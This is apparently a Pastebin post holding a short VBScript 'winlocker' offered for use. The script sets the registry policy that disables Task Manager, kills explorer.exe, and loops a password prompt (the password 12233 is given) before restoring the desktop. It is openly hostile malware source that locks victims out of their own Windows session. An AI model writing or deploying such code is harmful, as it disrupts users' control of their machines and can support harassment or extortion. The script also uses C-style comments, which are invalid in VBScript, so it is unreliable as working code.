Advertisement
NK_SNAKE

VBScript winlocker

May 13th, 2018
910
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Im sorry that I do not have much time to do the script, this time many scripts come out */
  2. Set st = CreateObject("WScript.Shell")
  3. st.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",1,"REG_DWORD"
  4. st.run"taskkill /f /im explorer.exe",0
  5. Do
  6. x = inputbox ("put here password", 35, "Winlocker.vbs")
  7. Loop Until x = 12233 /*<--- this is password for winlocker*/
  8. Set st = CreateObject("WScript.Shell")
  9. st.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",0,"REG_DWORD"
  10. st.run "explorer.exe"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement